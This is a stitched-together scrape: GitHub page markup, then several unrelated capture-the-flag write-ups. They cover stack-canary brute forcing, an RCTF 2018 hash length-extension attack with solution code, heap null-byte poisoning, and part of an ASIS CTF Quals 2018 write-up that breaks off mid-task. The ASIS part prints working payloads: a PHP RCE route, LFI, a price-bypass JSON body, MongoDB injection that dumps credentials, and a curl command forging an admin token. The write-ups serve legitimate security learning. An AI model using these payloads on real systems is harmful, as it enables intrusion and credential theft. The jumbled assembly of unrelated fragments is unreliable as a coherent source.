</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>sp.rr2</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
In this challenge, you can leak `stack canary` with brute force, which is `0x44fa9f2a8e01ba00`. The lesson-learned is that `stack canary` is generated at the program startup and is being re-used for all the function calls in that program. The interesting point is that it is also being reused in the `child process` when we use `fork`. Basically, you can brute force the stack canary one-byte at a time without the value being changed. |
# rctf 2018 cpushop
Shout out to Gnu3duck5 and clampz!
We are given a python file `cpushop.py` and the address of a server which runs `cpushop.py` when you connect.When you first run `cpushop` we are presented with a menu:
```CPU ShopMoney: $15301. List Items2. Order3. Pay4. Exit```
After each command (besides exit), you are returned to the menu.We can list the cpuz for sale:
```Command: 1 0 - Intel Core i9-7900X $999 1 - Intel Core i7-7820X $599 2 - Intel Core i7-7700K $349 3 - Intel Core i5-7600K $249 4 - Intel Core i3-7350K $179 5 - AMD Ryzen Threadripper 1950X $999 6 - AMD Ryzen 7 1800X $499 7 - AMD Ryzen 5 1600X $249 8 - AMD Ryzen 3 1300X $149 9 - Flag $99999```
And order a cpu:```Command: 2Product ID: 5Your order:product=AMD Ryzen Threadripper 1950X&price=999×tamp=1526865369263614&sign=8ec4caf18691523024d395216d1595ef398e306609840952240b05177fdbcee5```
We are given an `order` string which encodes the order parameters as a url query string.We use this string when we pay:
``` Command: 3 Your order: product=AMD Ryzen Threadripper 1950X&price=999×tamp=1526865369263614&sign=8ec4caf18691523024d395216d1595ef398e306609840952240b05177fdbcee5 Your current money: $531 You have bought AMD Ryzen Threadripper 1950X```
It is clear that * We need to buy the "Flag" product. * The flag product is way too expensive for us to afford. * The `order` string encodes the name of the `product`, its `price`, and is cryptographically `sign`ed * We need to forge a signed `order` with a lower price.
Let's now look at the code for `cpushop.py`
On line `14` we see that `signkey` is a random alphanumeric string of length between 8 and 32.
```pythonsignkey = ''.join([random.choice(string.letters+string.digits) for _ in xrange(random.randint(8,32))])```
On line `28-29` in the `order` method we see that a new order is signed using the following scheme:```pythonsign = sha256(signkey+payment).hexdigest()payment += '&sign=%s' % sign```
This scheme is vulnerable to [length extension attack](https://en.wikipedia.org/wiki/Length_extension_attack).A `sha256` hash is not intended to be used as a message authentication code as it is here in `cpushop`.Given only a `message`, the signature of the message (i.e. `sha256(key + message)`), and the length of the `key`, we use this attack to concatenate onto the original message and find the signature of this new message without knowing the key.Since we don't know the length of the `key`, except that it's between 8 and 32, we can attempt to forge an `order` for each of these lengths.
On lines `36-48` of the `pay` function we see the order query string is split into the signature (i.e. `sign`) and the rest of the parameters (i.e. `payment`).```pythonpayment = raw_input().strip()sp = payment.rfind('&sign=')if sp == -1: print 'Invalid Order!' returnsign = payment[sp+6:]try: sign = sign.decode('hex')except TypeError: print 'Invalid Order!' return
payment = payment[:sp]```Then we see in lines `49-52` that the query string sans the signature is signed, and compared to the signature that was in the order.
```pythonsignchk = sha256(signkey+payment).digest()if signchk != sign: print 'Invalid Order!' return```
In the `pay` function method on lines `54-62` we see that the parameters in the `order` url query string are iterated over and the price and product values are set.```pythonfor k,v in parse_qsl(payment): if k == 'product': product = v elif k == 'price': try: price = int(v) except ValueError: print 'Invalid Order!' return```Therefore, if we append `&price=1` to the parameters the `price` variable will be overwritten.
In `cpushop_solution.py` we implement this attack using the `hashpumpy` library and the function `hashpump`.The function `modify` is the interesting part of the solution.`modify` takes a signed order string, and creates a new singned order string with `&price=1` concatenated to the parameters.```pythondef modify(o, key_len): split = '&sign=' index = o.find(split) signature = o[index + len(split):] message = o[:index] new_signature, modified_message = hashpump(signature, message, '&price=1', key_len) return modified_message + split + new_signature```The rest of the program connects to the service, `order`s the "Flag" product, then for each possible key length, calls `modify` to forge a flag order string to set the price to 1, and attempts to `pay` using this forged order.
Running the program we get```❯ python cpushop_solution.py[+] Opening connection to cpushop.2018.teamrois.cn on port 43000: Done[+] Finding flag: RCTF{ha5h_l3ngth_ex7ens10n_a77ack_1s_ez}[*] Closed connection to cpushop.2018.teamrois.cn port 43000```
Thanks for reading! |
In this challenge, we are showing how we can leak libc base address and overwrite `__malloc_hook` using `null byte poisoning` aka `off-by-one overflow` aka `null byte overflow` vulnerability. Basically, by clearing PREV_IN_USE bit in a chunk, we can cause two chunks consolidate and the chunk between them being forgotten.
This is a good challenge for understanding how to exploit `x64_86` binaries with `Full RELRO`, `Canary`, `NX`, `PIE`, and `ASLR` enabled. |
# ASIS CTF Quals 2018
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180429-asisctfquals/) of this writeup.**
- [ASIS CTF Quals 2018](#asis-ctf-quals-2018) - [Web](#web) - [Nice code (unsolved, written by bookgin)](#nice-code-unsolved-written-by-bookgin) - [Bug Flag (bookgin, sces60107)](#bug-flag-bookgin-sces60107) - [Good WAF (solved by ysc, written by bookgin)](#good-waf-solved-by-ysc-written-by-bookgin) - [Personal Website (solved by sasdf, bookgin, sces60107, written by bookgin)](#personal-website-solved-by-sasdf-bookgin-sces60107-written-by-bookgin) - [Sharp eyes (unsolved, written by bookgin, special thanks to @herrera)](#sharp-eyes-unsolved-written-by-bookgin-special-thanks-to-herrera) - [Gameshop (unsolved)](#gameshop-unsolved) - [rev](#rev) - [Warm up (sces60107)](#warm-up-sces60107) - [baby C (sces60107)](#baby-c-sces60107) - [Echo (sces60107)](#echo-sces60107) - [Left or Right? (sces60107)](#left-or-right-sces60107) - [Density (sces60107)](#density-sces60107) - [pwn](#pwn) - [Cat (kevin47)](#cat-kevin47) - [Just_sort (kevin47)](#just_sort-kevin47) - [message_me (kevin47)](#message_me-kevin47) - [Tinypwn (kevin47)](#tinypwn-kevin47) - [PPC](#ppc) - [Neighbour (lwc)](#neighbour-lwc) - [The most Boring (how2hack)](#the-most-boring-how2hack) - [Shapiro (shw)](#shapiro-shw) - [misc](#misc) - [Plastic (sces60107)](#plastic-sces60107) - [forensic](#forensic) - [Trashy Or Classy (sces60107 bookgin)](#trashy-or-classy-sces60107-bookgin) - [first step](#first-step) - [second step](#second-step) - [third step](#third-step) - [Tokyo (sces60107)](#tokyo-sces60107) - [crypto](#crypto) - [the_early_school (shw)](#the_early_school-shw) - [Iran (shw and sasdf)](#iran-shw-and-sasdf) - [First-half](#first-half)
## Web
### Nice code (unsolved, written by bookgin)
The challenge is related to PHP code review.
The page will show the error message. All we have to do is bypass the error :)
```# substr($URL, -10) !== '/index.php'http://167.99.36.112:8080/admin/index.php# $URL == '/admin/index.php'http://167.99.36.112:8080/admin/index.php/index.php```
Next, we are redirected to http://167.99.36.112:8080/another/index.php?source .
```php $_v){ if($_k_o == $k_Jk){ $f = 1; } if($f && strlen($__dgi)>17 && $_p == 3){ $k_Jk($_v,$_k_o); //my shell :) } $_p++; }}else{ echo "noob!";}
```
Also note that the server uses PHP/5.5.9-1ubuntu4.14. Then I got stuck here for DAYS. After a few tries, I think it's impossible to bypass `===`.
However, that's not the case in PHP 5.5.9 due to [this bug](https://bugs.php.net/bug.php?id=69892). Just send a big index, and it will be casted to int. Overflow!
The rest is simple. No need to guess the content in `oshit.php`. Use system to RCE.
Postscript:
1. The bug seems to be famous(infamous) in 2015,2016 PHP CTFs. You can Google the link or bug id and you'll find lots of challenges related to this bug.2. Always pay attention to the version server used. The current release is PHP 7.2, but the challenge uses PHP 5.5.9.3. If the condition is impossible to bypass, just dig into the bug databse/source code.4. The challenge is solved by more than 20 teams, so it must be simple to find a solution.
I've learned a lot. Thanks to this challenge and PHP!
### Bug Flag (bookgin, sces60107)
Get source code by LFI `http://46.101.173.61/image?name=app.py`. It's Python2 + Flask.
```pythonfrom flask import Flask, Response, render_template, session, request, jsonify
app = Flask(__name__)app.secret_key = open('private/secret.txt').read()
flags = { 'fake1': { 'price': 125, 'coupons': ['fL@__g'], 'data': 'fake1{this_is_a_fake_flag}' }, 'fake2': { 'price': 290, 'coupons': ['fL@__g'], 'data': 'fake2{this_is_a_fake_flag}' }, 'asis': { 'price': 110, 'coupons': [], 'data': open('private/flag.txt').read() }}
@app.route('/')def main(): if session.get('credit') == None: session['credit'] = 0 session['coupons'] = [] return render_template('index.html', credit = session['credit']) #return 'Hello World!Your Credit is {}Used Coupons is {}'.format(session.get('credit'), session.get('coupons'))
@app.route('/image')def resouce(): image_name = request.args.get('name') if '/' in image_name or '..' in image_name or 'private' in image_name: return 'Access Denied' return Response(open(image_name).read(), mimetype='image/png')
@app.route('/pay', methods=['POST'])def pay(): data = request.get_json() card = data['card'] coupon = data['coupon'] if coupon.replace('=','') in session.get('coupons'): return jsonify({'result': 'the coupon is already used'}) for flag in card: if flag['count'] <= 0: return jsonify({'result':'item count must be greater than zero'}) discount = 0 for flag in card: if coupon.decode('base64').strip() in flags[flag['name']]['coupons']: discount += flag['count'] * flags[flag['name']]['price'] credit = session.get('credit') + discount for flag in card: credit -= flag['count'] * flags[flag['name']]['price'] if credit < 0: result = {'result': 'your credit not enough'} else: result = {'result': 'pay success'} result_data = [] for flag in card: result_data.append({'flag': flag['name'], 'data': flags[flag['name']]['data']}) result['data'] = result_data session['credit'] = credit session['coupons'].append(coupon.replace('=','')) return jsonify(result)
if __name__ == '__main__': app.run(host='0.0.0.0', port=80)```
The first thought comes to my mind is race condition. We can send 2 requests to manipulate the session variables. However, manipulating credit leads to nothing, because it's not dependent on executing orders. Manipulating coupons is useless, neither. Why bother using a coupon twice? Just create another session.
Then I start to dig if there is any logical error. The objective is to make the credit >= 0 when buying the real flag. After some brainstroming, I try to buy 0.01 fake flags, and it works.
Let's test Python floating-point precision.```pythonPython 2.7.14 (default, Jan 5 2018, 10:41:29) [GCC 7.2.1 20171224] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> 1.335 * 125 + 0.334 * 290 - 1.335 * 125 - 0.334 * 2901.4210854715202004e-14```
Isn't it cool and surprising? Note that `1.4210854715202004e-14` is a positive number. For the count of real flag, we can buy `0.0000000...1`.
Payload:```{"card":[{"name":"fake1","count":1.335},{"name":"fake2","count":0.334},{"name":"asis","count":0.0000000000000000000000000001}],"coupon":"ZkxAX19n"}```
Flag: `ASIS{th1@n_3xpens1ve_Fl@G}`
You can abuse Python `NaN` to solve this challenge as well. Refer to [this writeup](https://ctftime.org/writeup/9893).
### Good WAF (solved by ysc, written by bookgin)
The challenge requires us to bypass the WAF on SQL injection.
**Unintended solution:**
When the organizer is fixing the challenge by editing the source code, @ysc's web scanner found `.index.php.swp`, and we got the source code. The flag is there. That's all.
Flag: `ASIS{e279aaf1780c798e55477a7afc7b2b18}`
Never fix anything on the production server directly :)
### Personal Website (solved by sasdf, bookgin, sces60107, written by bookgin)
Firstly dive into `http://206.189.54.119:5000/site.js`. There are 4 interesting pages:
- admin_area- get/title/1- get/text/1- get/image/1
The `admin_area` requires an authorization_token in the header, and the page will check the token. If it's incorrect, an error occurs `Authorization Failed.`
Let's fuzz the three `get` APIs. The title, text seem not injectable and only parse integer until encountering an invalid character. However, image is injectable. The `get/image/0+1` is equal to `get/image/1`. Even `get/image/eval("0+1")` works like a charm. So we got a blind injection here. The backend is Nodejs + express. I'll first guess it's using mongoDB.
Keey moving on. We try to extract the information of the backend, only to find it's in nodejs vm2. There is no `require` so we cannot RCE. Actually versatile @sasdf spent some time on trying to escape the vm, but it seems very hard. Next, we leaked `module` and find `_mongo`, `db`. It's possible to get all collection names via `db.collection.getname()`. Then, use eval and ` this["db"].credentials.find().toArray()` to dump the database. We dump `credentials` and `authorization`:
```{"_id":{"str":"5ae63ae0a86f623c83fecfb3"},"id":1,"method":"post_data","format":"username=[username]&password=[password]","activate":"false"}{"_id":{"str":"5ae63ae0a86f623c83fecfb4"},"id":2,"method":"header","format":"md5(se3cr3t|[username]|[password])","activate":"true"}
{"_id":{"str":"5ae63ae0a86f623c83fecfb1"},"id":1,"username":"administrator","password":"H4rdP@ssw0rd?"}```
Great! The payload:```shcurl 'http://206.189.54.119:5000/admin_area' -H "authorization_token:`echo -n 'se3cr3t|administrator|H4rdP@ssw0rd?' | md5sum | cut -f1 -d' '`"```
Flag: `ASIS{3c266f6ccdaaef52eb4a9ab3abc2ca70}`
Postscript: Take a look at Yashar Shahinzadeh's [writeup](https://medium.com/bugbountywriteup/mongodb-injection-asisctf-2018-quals-personal-website-write-up-web-task-115be1344ea2). In fact, the server will send back the error message through the response header `Application-Error`. There is no need to perform blind injection. We are reckless and didn't find this.
Next time, I'll carefully inspect every payload and HTTP status code/headers.
### Sharp eyes (unsolved, written by bookgin, special thanks to @herrera)
The incorrect account/password in the login page will redirect to `error/1`. Missing either account or password parameter redirects to `error/2`.
The source HTML of `error/1`.
```html<html><head><script src='/jquery-3.3.1.min.js'></script><link href='style.css' rel='stylesheet'></head><body><div class="accordion"> <dl> <dt class="active">
<script>var user = '1';</script>Invalid credentials were given.```
If the URL is `error/hello`, the js part becomes `var user = 'hello';`. Addtionally, some characters `<>",` are filtered, but it's imple to bypass using single quotes and semicolons.
It's obvious that we have to somehow make the admin trigger this XSS, but how? I guess the admin will read the log in the server, but after a few tries, we found it does't work at all. Ok, so why does variable user mean in the javascript here? Maybe we can inject the XSS payload to the username login page. but it doesn't work, neither.
What if it's not a XSS challenge? I don't think so because:
1. I note that the jQuery is loaded in the error page, but it's not used.2. There is a XSS filter.
The discovery strongly indicates this is a XSS challenge. However, why does the error code is assigned to a user variable? This does not make sense at all.
This challenge made me very frustrated. I think the XSS part is very misleading at the begninning, though it's used after logged in successfully.
It was not unitl the last 30 minutes that we found the error code is vulnerable to SQL injection. The server returns the content but the status code is 500. Thanks to @sasdf 's sharp eyes. I'm too careless to find the SQL injection vulenerability.
SQLmap will dump the database. The DB is SQlite.
Thanks to @herrera in IRC channel:> sharp eyes was sqli on /error/1, getting username/hash of the user david, logging into him, then using /error/1 as a XSS too, sending it to admin and getting the flag on flag.php
Postscript:
1. Sharp eyes: HTTP status code2. Some misleading part might be the second stage of the challenge.3. It a number of teams solve this challenge, it must be not difficult.
### Gameshop (unsolved)
Please refer to [official solution](https://blog.harold.kim/2018/04/asisctf-2018-gameshop-solution).
Acctually, we spent a few hours on MicroDB LFI. Next, I'm trying to find a way to exploit all the possible `die(__FLAG__)`. I know we may use unserialization to create `Affimojas->flag = 0`, since in PHP, `var_dump(0 == "asdasdasd"); // bool(true)` .
However, I cannot find the way to exploit unserilization. In the last 1 hours, @sasdf noted that we can manipulate the first block, but we though we didn't have much time solving this challenge.
There is a long road to go on solving web challnges:)
## rev
### Warm up (sces60107)
This is a warm up challenge. They give you a C file like this.
```C#define M 37#define q (2+M/M)#define v (q/q)#define ef ((v+q)/2)#define f (q-v-ef)#define k (8-ef)struct b{int64_t y[13];}S;int m=1811939329,N=1,t[1<<26]={2},a,*p,i,e=73421233,s,c,U=1;g(d,h){for(i=s;i<1<<25;i*=2)d=d*1LL*d%m;for(p=t;p<t+N;p+=s)for(i=s,c=1;i;i--)a=p[s]*(h?c:1LL)%m,p[s]=(m*1U+*p-a)*(h?1LL:c)%m,*p=(a*1U+*p)%m,p++,c=c*1LL*d%m;}l(){while(e/=2){N*=2;U=U*1LL*(m+1)/2%m;for(s=N;s/=2;)g(136,0);for(p=t;p<t+N;p++)*p=*p*1LL**p%m*U%m;for(s=1;s<N;s*=2)g(839354248,1);for(a=0,p=t;p<t+N;)a+=*p<<(e&1),*p++=a%10,a/=10;}}z(n){int y=3,j,c;for(j=2;j<=n;){l();for(c=2;c<=y-1;c++){l();if(y%c==0)break;}if(c==y){l();j++;}y++;}l();return y-1;}main(a, pq) char* pq;{int b=sizeof(S),y=b,j=M;l();int x[M]={b-M-sizeof((short int) a),(b>>v)+(k<<v)+ (v<<(q|ef)) + z(v+(ef<<v)),(z(k*ef)<<v)-pow(ef,f), z(( (j-ef*k)|(ef<<k>>v)/k-ef<<v)-ef),(((y+M)&b)<<(k/q+ef))-z(ef+v),((ef<<k)-v)&y,y*v+v,(ef<<(q*ef-v-(k>>ef)))*q-v,(f<<q)|(ef<<(q*f+k))-j+k,(z(z(z(z(z(v)))))*q)&(((j/q)-(ef<<v))<<q)|(j+(q|(ef<<v))),y|(q+v),(ef<<ef)-v+ef*(((j>>ef)|j)-v+ef-q+v),(z(j&(b<<ef))&(z(v<<v)<<k))-(q<<v)-q,(k<<q)+q,(z(y)>>(ef<<v))+(z(k+v))-q,(z(z(k&ef|j))&b|ef|v<<f<<q<<v&ef>>k|q<<ef<<v|k|q)+z(v<<v)+v,(ef>>v)*q*z(k-v)+z(ef<<ef&q|k)+ef,z(k<<k)&v&k|y+k-v,z(f>>ef|k>>ef|v|k)*(ef>>v)*q,(ef<<k-ef<<v>>q<<ef*ef)-j+(ef<<v),z(ef*k)*z(v<<v)+k-v,z((z(k)<<z(v)))&y|k|v,z(ef<<ef<<v<<v)/ef+z(v<<ef|k|(b>>q)&y-f)-(ef<<q)+(k-v)-ef,k<<(ef+q)/z(ef)*z(q)&z(k<<k)|v,((z(y|j>>k*ef))%ef<<z(v<<v<<v)>>q<<q|j)/ef+v,(j-ef<<ef<<v*z(v>>v<<v)>>ef)/ef%z(k<<j)+q,z(k-v)+k|z(ef<<k>>v<<f)-z(q<<q)*ef>>v,(z(ef|y&j|k)%q|j+ef<<z(k|ef)%k<<q|ef|k<<ef<<q/ef|y/ef+j>>q)&k<<j|ef+v,84,z(v*ef<<ef<<q)*q%ef<<k|k|q-v,((z(20)*v)|(f>>q)|(k<<k))/ef-(ef<<(v*q+ef))-(k<<q)+z(k)-q};while(j--){putchar(x[M-v-j]);}printf(" From ASIS With Love <3\n");return 0;}```
You can compile the code. But when executing the binary, it just hanging there. So the first step is to understand this code.It look likes you need to beautify this code. You can count on online tools, but I do this with myself.
And I found out there is a useless function `l` which seems to waste lots of time. I just deleted that function in the code and compile the code again. Eventualy, I got the flag and the first blood.
The flag is `ASIS{hi_all_w31c0m3_to_ASISCTF}`
### baby C (sces60107)
This challenge give you a obfuscated binary.
It is obvious that they use [movfuscator](https://github.com/xoreaxeaxeax/movfuscator).
It's not easy to reverse such obfuscated binary directly. You will need the help of `qira` or `gdb`. And I choose the former.
But it's still difficult to trace the program flow. After a while, I notice that there is `strncmp` in this binary.
```....text:08049557 mov eax, off_83F6170[edx*4].text:0804955E mov edx, dword_81F6110.text:08049564 mov [eax], edx.text:08049566 mov esp, off_83F6130.text:0804956C mov dword_85F61C4, offset strncmp_plt.text:08049576 mov eax, dword_83F6158.text:0804957B mov eax, off_85F61C8[eax*4].text:08049582 mov eax, [eax]...```
I utilized `qira` to trace the program and realized that part of code is doing `strncmp(input[3:],"m0vfu3c4t0r!",0xc)`
Well, the hint tell us `flag is ASIS{sha1(input[:14])}`
Now we just need the first three byte.
The next step needs patience. you have to trace down the code manually.
Then you can find this
```....text:080498C8 mov dl, byte ptr dword_804D050.text:080498CE mov edx, dword_81F5B70[edx*4].text:080498D5 mov dword_804D05C, edx.text:080498DB mov dword_804D058, 'A'.text:080498E5 mov eax, dword_804D05C.text:080498EA mov edx, dword_804D058.text:080498F0 mov ecx, 8804B21Ch...```
If you are familiar with movfuscator, you will know this part of code is trying to compare two bytes. I knew this because I read this [pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf) in order to solve this challenge.
Now we know it is try to compare the first byte of input to `A`
The rest of this chanllenge is diggin out the other code which try to compare the second and the third byte.
```....text:08049BED mov edx, 0.text:08049BF2 mov dl, byte ptr dword_804D050.text:08049BF8 mov edx, dword_81F5B70[edx*4].text:08049BFF mov dword_804D05C, edx.text:08049C05 mov dword_804D058, 'h'.text:08049C0F mov eax, dword_804D05C.text:08049C14 mov edx, dword_804D058.text:08049C1A mov ecx, 8804B21Ch....text:08049F17 mov edx, 0.text:08049F1C mov dl, byte ptr dword_804D050.text:08049F22 mov edx, dword_81F5B70[edx*4].text:08049F29 mov dword_804D05C, edx.text:08049F2F mov dword_804D058, '_'.text:08049F39 mov eax, dword_804D05C.text:08049F3E mov edx, dword_804D058.text:08049F44 mov ecx, 8804B21Ch...```
Finally, we got `input[:14]` which is `Ah_m0vfu3c4t0r`.
So the flag will be `ASIS{574a1ebc69c34903a4631820f292d11fcd41b906}`### Echo (sces60107)
You will be given a binary in this challenge. Just try to execute it.```$ ./Echo Missing argument$ ./Echo blablaError opening blabla!```
Well, you only get some error message. After using some decompile tool I found this.
``` if ( v9 <= 1 ) { fwrite("Missing argument\n", 1uLL, 0x11uLL, stderr); exit(1); } if ( !strncmp(*(const char **)(a2 + 8), "GIVEMEFLAG", 0xAuLL) ) { v46 = (signed int)sub_970(v49); }```
It seems like you should put `GIVEMEFLAG` in the first argument.
```./Echo GIVEMEFLAGaawtfwtfthisisuselessthisisuseless```
Well it just echo what you input. But `sub_970` seems interesting. I used gdb to catch return value.
Then I found this function return a string array
